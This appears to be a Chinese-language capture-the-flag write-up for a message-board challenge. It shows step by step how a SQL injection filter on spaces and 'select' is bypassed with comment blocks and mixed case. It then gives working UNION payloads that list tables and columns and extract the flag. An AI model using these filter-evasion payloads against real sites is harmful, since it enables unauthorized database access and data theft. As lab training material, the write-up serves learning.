Cosmos的留言板-1

打开环境 基本就可以知道是考SQL注入

1
2
3
4
5
6
输入
1' 没有回显,可以知道使用单引号保护变量
1'# 没有回显
1# 有回显 可以用来查看一下过滤情况
1/**/union/**/select# 得知select被过滤了
1/**/union/**/select/**/table_schema/**/table_name/**/column/**/information_schema# 得知常规的SQL注入都没有被过滤

最后得知过滤掉了select和空格

这里有很多个方法 用/**/块注释代替空格
select的话可以用sel<>ect进行截断
或者大小写混写 SelecT

再构造payload:

-1'/**/or/**/'1'='1  回显正常

爆表:

    -1'/**/union/**/SelecT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having'1'='1
    得到表名 f1aggggggggggggg

爆字段:

    -1'/**/union/**/SelecT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'/**/having'1'='1
    得到字段名fl4444444g

查询:

    -1'/**/union/**/SelecT/**/fl4444444g/**/from/**/f1aggggggggggggg/**/having'1'='1

得到flag